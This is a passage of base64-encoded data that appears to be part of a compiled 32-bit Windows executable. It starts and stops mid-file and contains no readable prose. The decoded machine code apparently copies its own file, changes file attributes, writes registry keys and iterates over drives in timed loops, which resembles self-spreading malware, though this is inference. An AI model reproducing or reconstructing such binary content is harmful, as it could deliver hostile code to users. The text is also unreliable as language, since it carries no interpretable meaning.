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 